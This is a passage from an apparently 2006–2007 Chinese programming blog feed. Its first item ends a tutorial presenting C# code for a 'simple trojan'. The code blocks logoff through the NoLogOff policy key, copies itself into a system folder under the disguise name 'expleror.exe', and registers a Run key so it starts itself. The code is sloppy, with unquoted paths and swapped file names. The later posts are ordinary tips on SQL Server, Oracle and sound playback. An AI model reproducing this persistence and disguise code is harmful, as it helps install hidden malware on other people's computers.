		<p>　　3、C#中实现注册表的修改，使用了.NET类库中的System.Microsoft.Win32命令空间，它提供两种类型的类：处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序：使计算机不能注销。在这之前先了解注册表，在子键SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer<br />下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改：</p>
		<p>private void UnLogOff()<br />{<br />//得到主机的注册表的顶级节点<br />Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;<br />//设置一个注册表子键的变量<br />RegistryKey key1;<br />try<br />{<br />//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键<br />//registrykey是用户指定的键值，canwrite 为true则可修改，默认为fasle不可改<br />key1 =<br />rLocal.OpenSubKey(SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer,true);<br />//设置子键的键名，和值<br />key1.SetValue (NoLogOff,1);<br />//关闭打开的子键<br />key1.Close();<br />//警告字符串设定<br />mystr = mystr +HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer键值Nologoff被修改！请将它置为0!;<br />}<br />catch{}<br />//如果不存在自已建立<br />if(key1 ==null)<br />{<br />try<br />{<br />//使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键<br />RegistryKey key2 = rLocal.CreateSubKey(SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer);<br />key2.SetValue(NoLogOff,1);<br />key2.Close();<br />mystr = mystr +HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer键值Nologoff被修改！请将它置为0!;<br />}<br />catch{}<br />}<br />} </p>
		<p>　　4、在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下，主要实现的功能是将D盘下的木马程序转移到C:\\\\winnnt\\\\system\\\\msdoss.exe，同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。</p>
		<p>private void moveCC1()<br />{<br />try<br />{<br />//函数File.Move(string sourceFileName,string destFileName)起移动文件的作用<br />//sourceFileName为要移动的文件名，destFileName为文件的新路径<br />File.Move(C:\\\\winnnt\\\\system\\\\msdoss.exe,d:\\\\winnt\\\\system32\\\\expleror.exe);<br />}<br />catch {}<br />//将新移的木马程序设为自启动.分析和前面一样<br />try<br />{<br />key1 = rLocal.OpenSubKey(SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run,true);<br />key1.SetValue (microsoftt,d:\\\\winnt\\\\system32\\\\expleror.exe);<br />key1.Close();<br />}<br />catch{}<br />if(key1 ==null)<br />{<br />try<br />{<br />RegistryKey key2=rLocal.CreateSubKey(SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run);<br />key1.SetValue (microsoftt,d:\\\\winnt\\\\system32\\\\expleror.exe);<br />key1.Close();<br />}<br />catch{}<br />}<br />} //moveCC1() </p>
		<p>　　到这里一个简单的C#的木马就完成了。<br /></p>
<img src ="http://www.cnitblog.com/eastperson/aggbug/21824.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2007-01-12 17:56 <a href="http://www.cnitblog.com/eastperson/archive/2007/01/12/21824.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SQL Server安装问题程序被挂起的错误解决办法</title><link>http://www.cnitblog.com/eastperson/archive/2007/01/10/21720.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Wed, 10 Jan 2007 05:36:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2007/01/10/21720.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/21720.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2007/01/10/21720.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/21720.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/21720.html</trackback:ping><description><![CDATA[安装SQL Server2000的时候，安装程序提示我安装程序被挂起，让我重新启动电脑，但我即便是重新启动了再次安装，SQL Server2000的安装程序依旧提示我这个错误。看来重起并不能解除被挂起的安装程序。<br />        查阅了资料，得知要解决这个问题需要删除注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager下的PendingFileRenameOperations子键。<br /><br /> <br /><br />按照名称来理解，HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager应该存放的是当前系统会话的快照，而PendingFileRenameOperations记录的是一个未成功进行的文件更名操作，SQL Server2000在安装时可能会使用这个键值，记录在安装过程中对临时文件的操作，如果SQL Server2000在安装进程启动时就发现这个键值存在，它就认为上一个安装程序没有完成，从而拒绝继续自身的安装进程。而按照道理，任何一个改写过此键值的程序都应当在结束或者系统重新启动的时候将这个键值删除，但如果由于种种原因这个操作没有被进行的话，那么SQL Server2000自然会得出错误的结论。<br /><img src ="http://www.cnitblog.com/eastperson/aggbug/21720.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2007-01-10 13:36 <a href="http://www.cnitblog.com/eastperson/archive/2007/01/10/21720.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>换工作了！</title><link>http://www.cnitblog.com/eastperson/archive/2006/12/05/20079.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Tue, 05 Dec 2006 02:17:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2006/12/05/20079.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/20079.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2006/12/05/20079.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/20079.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/20079.html</trackback:ping><description><![CDATA[原来的同事都挺好，配合也十分默契，可是公司给的工资太低了，又老是拖工资！！<br />无奈呀！！<img src ="http://www.cnitblog.com/eastperson/aggbug/20079.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2006-12-05 10:17 <a href="http://www.cnitblog.com/eastperson/archive/2006/12/05/20079.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>天气预报源代码 </title><link>http://www.cnitblog.com/eastperson/archive/2006/10/12/17896.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Thu, 12 Oct 2006 05:02:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2006/10/12/17896.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/17896.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2006/10/12/17896.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/17896.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/17896.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 1								//				天气预报源代码 																		  2																		      				  3																		using				 System;				  4																		using				 System.Co...&nbsp;&nbsp;<a href='http://www.cnitblog.com/eastperson/archive/2006/10/12/17896.html'>阅读全文</a><img src ="http://www.cnitblog.com/eastperson/aggbug/17896.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2006-10-12 13:02 <a href="http://www.cnitblog.com/eastperson/archive/2006/10/12/17896.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>实现选择需要的颜色实现方法！</title><link>http://www.cnitblog.com/eastperson/archive/2006/10/11/17861.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Wed, 11 Oct 2006 04:52:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2006/10/11/17861.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/17861.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2006/10/11/17861.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/17861.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/17861.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 实现选择需要的颜色实现方法显示调色板页面： 1&lt;html&gt; 2    &lt;head&gt; 3        &lt;title&gt;调色板&lt;/title&gt; 4        &lt;meta http-equiv="Content-Type" content="text/html; charset=gb2311"&gt; 5        &lt;script&gt...&nbsp;&nbsp;<a href='http://www.cnitblog.com/eastperson/archive/2006/10/11/17861.html'>阅读全文</a><img src ="http://www.cnitblog.com/eastperson/aggbug/17861.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2006-10-11 12:52 <a href="http://www.cnitblog.com/eastperson/archive/2006/10/11/17861.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>我现在Netyi.net上的下载资料，上面的有许多不错的资料，有好多程序设计方面的！</title><link>http://www.cnitblog.com/eastperson/archive/2006/09/25/17327.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Mon, 25 Sep 2006 13:02:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2006/09/25/17327.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/17327.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2006/09/25/17327.html#Feedback</comments><slash:comments>5</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/17327.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/17327.html</trackback:ping><description><![CDATA[下面是这个网站的登陆地址：<br /><a href="http://www.netyi.net/in.asp?id=zhaoyd80"><font color="#1d58d1">http://www.netyi.net/in.asp?id=zhaoyd80</font></a><img src ="http://www.cnitblog.com/eastperson/aggbug/17327.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2006-09-25 21:02 <a href="http://www.cnitblog.com/eastperson/archive/2006/09/25/17327.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>我看到一个资料网站不错的欧！</title><link>http://www.cnitblog.com/eastperson/archive/2006/09/21/17140.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Thu, 21 Sep 2006 04:33:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2006/09/21/17140.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/17140.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2006/09/21/17140.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/17140.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/17140.html</trackback:ping><description><![CDATA[大家来看看吧：<br /><font color="#ff9900"><a href="http://www.netyi.net/in.asp?id=zhaoyd80">http://www.netyi.net/in.asp?id=zhaoyd80</a></font><br />真是不错的，如果你需要什么资料尽管进入吧！<img src ="http://www.cnitblog.com/eastperson/aggbug/17140.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2006-09-21 12:33 <a href="http://www.cnitblog.com/eastperson/archive/2006/09/21/17140.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>我认为的精彩网站汇总！！</title><link>http://www.cnitblog.com/eastperson/archive/2006/09/08/16537.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Fri, 08 Sep 2006 05:47:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2006/09/08/16537.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/16537.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2006/09/08/16537.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/16537.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/16537.html</trackback:ping><description><![CDATA[C#：<br />         <a href="http://www.csharp-corner.com">http://www.csharp-corner.com</a><br />         <a href="http://www.codeproject.com">http://www.codeproject.com</a><br /><br />Javascript：<br />         <a href="http://www.dhtmlgoodies.com">http://www.dhtmlgoodies.com</a> <br />         <a href="http://www.javascriptkit.com">http://www.javascriptkit.com</a><br /><br />CSS：<br />         <a href="http://www.dynamicdriver.com">http://www.dynamicdriver.com</a><img src ="http://www.cnitblog.com/eastperson/aggbug/16537.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2006-09-08 13:47 <a href="http://www.cnitblog.com/eastperson/archive/2006/09/08/16537.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Oracle 9.2下的“System.Exception: System.Data.OracleClient requires Oracle client software version 8.1.7 or greater” </title><link>http://www.cnitblog.com/eastperson/archive/2006/09/04/16343.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Mon, 04 Sep 2006 05:46:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2006/09/04/16343.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/16343.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2006/09/04/16343.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/16343.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/16343.html</trackback:ping><description><![CDATA[今天在连接Oracle的时候碰到一个问题，我的机器装的是Oracle9.2客户端，当在asp.net应用中使用数据访问的组件（调用System.Data.OracleClient）时，程序报“System.Exception: System.Data.OracleClient requires Oracle client software version 8.1.7 or greater”的错误，无法创建OracleConnection，但在同一台机器上用winfom客户端又能够正常访问到数据库。更加奇怪的是，我把应用部署到一台安装了Oracle 8.17客户端的机器上时，却能够正常运行。 <br />        找了半天 ，终于搞清楚了原因。原来当Oracle 9.2运行在NTFS的分区上时，对于某些非administrator组的用户，ORACLE_HOME 目录是不可见的，而在windows server 2003下asp.net应用使用的帐户是netword service，因此无法创建oracle连接，只要重设一下ORACLE_HOME目录的权限就可以了。步骤如下： <br />1、以管理员的用户登录； <br />2、找到ORACLE_HOME文件夹（我的是C:\oracle\ora92），点右键，选属性--安全，在组或用户栏中选“Authenticated Users”，在下面权限列表中把“读取和运行”的权限去掉，再按应用；重新选上“读取和运行”权限，点击应用；选权限框下面的“高级”按钮，确认“Authenticated Users”后面的应用于是“该文件夹、子文件夹及文件”，按确定把权限的更改应用于该文件夹； <br />3、重新启动计算机，让权限设置生效（请注意，这一步很重要）； <br />4、登录后运行asp.net应用，正常取得Oracle数据库的数据。<img src ="http://www.cnitblog.com/eastperson/aggbug/16343.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2006-09-04 13:46 <a href="http://www.cnitblog.com/eastperson/archive/2006/09/04/16343.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用Windows动态链接库读取声音文件！</title><link>http://www.cnitblog.com/eastperson/archive/2006/08/19/15546.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Fri, 18 Aug 2006 23:45:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2006/08/19/15546.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/15546.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2006/08/19/15546.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/15546.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/15546.html</trackback:ping><description><![CDATA[
		<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
				<span style="COLOR: #008080"> 1</span>
				<img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" />
				<span style="COLOR: #0000ff">using</span>
				<span style="COLOR: #000000"> System;<br /></span>
				<span style="COLOR: #008080"> 2</span>
				<span style="COLOR: #000000">
						<img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" />
				</span>
				<span style="COLOR: #0000ff">using</span>
				<span style="COLOR: #000000"> System.Collections.Generic;<br /></span>
				<span style="COLOR: #008080"> 3</span>
				<span style="COLOR: #000000">
						<img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" />
				</span>
				<span style="COLOR: #0000ff">using</span>
				<span style="COLOR: #000000"> System.ComponentModel;<br /></span>
				<span style="COLOR: #008080"> 4</span>
				<span style="COLOR: #000000">
						<img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" />
				</span>
				<span style="COLOR: #0000ff">using</span>
				<span style="COLOR: #000000"> System.Data;<br /></span>
				<span style="COLOR: #008080"> 5</span>
				<span style="COLOR: #000000">
						<img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" />
				</span>
				<span style="COLOR: #0000ff">using</span>
				<span style="COLOR: #000000"> System.Drawing;<br /></span>
				<span style="COLOR: #008080"> 6</span>
				<span style="COLOR: #000000">
						<img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" />
				</span>
				<span style="COLOR: #0000ff">using</span>
				<span style="COLOR: #000000"> System.Text;<br /></span>
				<span style="COLOR: #008080"> 7</span>
				<span style="COLOR: #000000">
						<img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" />
				</span>
				<span style="COLOR: #0000ff">using</span>
				<span style="COLOR: #000000"> System.Windows.Forms;<br /></span>
				<span style="COLOR: #008080"> 8</span>
				<span style="COLOR: #000000">
						<img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" />
				</span>
				<span style="COLOR: #0000ff">using</span>
				<span style="COLOR: #000000"> System.Runtime.InteropServices;<br /></span>
				<span style="COLOR: #008080"> 9</span>
				<span style="COLOR: #000000">
						<img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" />
						<br />
				</span>
				<span style="COLOR: #008080">10</span>
				<span style="COLOR: #000000">
						<img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" />
				</span>
				<span style="COLOR: #0000ff">namespace</span>
				<span style="COLOR: #000000"> PlaySound<br /></span>
				<span style="COLOR: #008080">11</span>
				<span style="COLOR: #000000">
						<img id="Codehighlighter1_224_651_Open_Image" onclick="this.style.display='none'; Codehighlighter1_224_651_Open_Text.style.display='none'; Codehighlighter1_224_651_Closed_Image.style.display='inline'; Codehighlighter1_224_651_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedBlockStart.gif" align="top" />
						<img id="Codehighlighter1_224_651_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_224_651_Closed_Text.style.display='none'; Codehighlighter1_224_651_Open_Image.style.display='inline'; Codehighlighter1_224_651_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedBlock.gif" align="top" />
				</span>
				<span id="Codehighlighter1_224_651_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
						<img src="http://www.cnitblog.com/images/dot.gif" />
				</span>
				<span id="Codehighlighter1_224_651_Open_Text">
						<span style="COLOR: #000000">{<br /></span>
						<span style="COLOR: #008080">12</span>
						<span style="COLOR: #000000">
								<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #0000ff">public</span>
						<span style="COLOR: #000000"> partial </span>
						<span style="COLOR: #0000ff">class</span>
						<span style="COLOR: #000000"> Form1 : Form<br /></span>
						<span style="COLOR: #008080">13</span>
						<span style="COLOR: #000000">
								<img id="Codehighlighter1_268_649_Open_Image" onclick="this.style.display='none'; Codehighlighter1_268_649_Open_Text.style.display='none'; Codehighlighter1_268_649_Closed_Image.style.display='inline'; Codehighlighter1_268_649_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" />
								<img id="Codehighlighter1_268_649_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_268_649_Closed_Text.style.display='none'; Codehighlighter1_268_649_Open_Image.style.display='inline'; Codehighlighter1_268_649_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedSubBlock.gif" align="top" />    </span>
						<span id="Codehighlighter1_268_649_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
								<img src="http://www.cnitblog.com/images/dot.gif" />
						</span>
						<span id="Codehighlighter1_268_649_Open_Text">
								<span style="COLOR: #000000">{<br /></span>
								<span style="COLOR: #008080">14</span>
								<span style="COLOR: #000000">
										<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />        </span>
								<span style="COLOR: #008000">//</span>
								<span style="COLOR: #008000"> 应用动态连接库</span>
								<span style="COLOR: #008000">
										<br />
								</span>
								<span style="COLOR: #008080">15</span>
								<span style="COLOR: #008000">
										<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
								</span>
								<span style="COLOR: #000000">        [DllImport(</span>
								<span style="COLOR: #000000">"</span>
								<span style="COLOR: #000000">Winmm.dll</span>
								<span style="COLOR: #000000">"</span>
								<span style="COLOR: #000000">)]<br /></span>
								<span style="COLOR: #008080">16</span>
								<span style="COLOR: #000000">
										<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />        </span>
								<span style="COLOR: #0000ff">public</span>
								<span style="COLOR: #000000"> </span>
								<span style="COLOR: #0000ff">static</span>
								<span style="COLOR: #000000"> </span>
								<span style="COLOR: #0000ff">extern</span>
								<span style="COLOR: #000000"> </span>
								<span style="COLOR: #0000ff">long</span>
								<span style="COLOR: #000000"> PlaySound(</span>
								<span style="COLOR: #0000ff">string</span>
								<span style="COLOR: #000000"> name, </span>
								<span style="COLOR: #0000ff">long</span>
								<span style="COLOR: #000000"> module, </span>
								<span style="COLOR: #0000ff">long</span>
								<span style="COLOR: #000000"> flag);<br /></span>
								<span style="COLOR: #008080">17</span>
								<span style="COLOR: #000000">
										<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
										<br />
								</span>
								<span style="COLOR: #008080">18</span>
								<span style="COLOR: #000000">
										<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />        </span>
								<span style="COLOR: #0000ff">public</span>
								<span style="COLOR: #000000"> Form1()<br /></span>
								<span style="COLOR: #008080">19</span>
								<span style="COLOR: #000000">
										<img id="Codehighlighter1_436_481_Open_Image" onclick="this.style.display='none'; Codehighlighter1_436_481_Open_Text.style.display='none'; Codehighlighter1_436_481_Closed_Image.style.display='inline'; Codehighlighter1_436_481_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" />
										<img id="Codehighlighter1_436_481_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_436_481_Closed_Text.style.display='none'; Codehighlighter1_436_481_Open_Image.style.display='inline'; Codehighlighter1_436_481_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedSubBlock.gif" align="top" />        </span>
								<span id="Codehighlighter1_436_481_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
										<img src="http://www.cnitblog.com/images/dot.gif" />
								</span>
								<span id="Codehighlighter1_436_481_Open_Text">
										<span style="COLOR: #000000">{<br /></span>
										<span style="COLOR: #008080">20</span>
										<span style="COLOR: #000000">
												<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />            InitializeComponent();<br /></span>
										<span style="COLOR: #008080">21</span>
										<span style="COLOR: #000000">
												<img src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />        }</span>
								</span>
								<span style="COLOR: #000000">
										<br />
								</span>
								<span style="COLOR: #008080">22</span>
								<span style="COLOR: #000000">
										<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
										<br />
								</span>
								<span style="COLOR: #008080">23</span>
								<span style="COLOR: #000000">
										<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />        </span>
								<span style="COLOR: #0000ff">private</span>
								<span style="COLOR: #000000"> </span>
								<span style="COLOR: #0000ff">void</span>
								<span style="COLOR: #000000"> button1_Click(</span>
								<span style="COLOR: #0000ff">object</span>
								<span style="COLOR: #000000"> sender, EventArgs e)<br /></span>
								<span style="COLOR: #008080">24</span>
								<span style="COLOR: #000000">
										<img id="Codehighlighter1_555_643_Open_Image" onclick="this.style.display='none'; Codehighlighter1_555_643_Open_Text.style.display='none'; Codehighlighter1_555_643_Closed_Image.style.display='inline'; Codehighlighter1_555_643_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" />
										<img id="Codehighlighter1_555_643_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_555_643_Closed_Text.style.display='none'; Codehighlighter1_555_643_Open_Image.style.display='inline'; Codehighlighter1_555_643_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedSubBlock.gif" align="top" />        </span>
								<span id="Codehighlighter1_555_643_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
										<img src="http://www.cnitblog.com/images/dot.gif" />
								</span>
								<span id="Codehighlighter1_555_643_Open_Text">
										<span style="COLOR: #000000">{<br /></span>
										<span style="COLOR: #008080">25</span>
										<span style="COLOR: #000000">
												<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />            PlaySound(</span>
										<span style="COLOR: #000000">@"</span>
										<span style="COLOR: #000000">C:\Program Files\QQ2005\sound\ring.wav</span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">, </span>
										<span style="COLOR: #000000">23</span>
										<span style="COLOR: #000000">, </span>
										<span style="COLOR: #000000">23</span>
										<span style="COLOR: #000000">);<br /></span>
										<span style="COLOR: #008080">26</span>
										<span style="COLOR: #000000">
												<img src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />        }</span>
								</span>
								<span style="COLOR: #000000">
										<br />
								</span>
								<span style="COLOR: #008080">27</span>
								<span style="COLOR: #000000">
										<img src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />    }</span>
						</span>
						<span style="COLOR: #000000">
								<br />
						</span>
						<span style="COLOR: #008080">28</span>
						<span style="COLOR: #000000">
								<img src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedBlockEnd.gif" align="top" />}</span>
				</span>
		</div>
<img src ="http://www.cnitblog.com/eastperson/aggbug/15546.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2006-08-19 07:45 <a href="http://www.cnitblog.com/eastperson/archive/2006/08/19/15546.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>简单记事本程序！</title><link>http://www.cnitblog.com/eastperson/archive/2006/08/19/15545.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Fri, 18 Aug 2006 23:33:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2006/08/19/15545.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/15545.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2006/08/19/15545.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/15545.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/15545.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 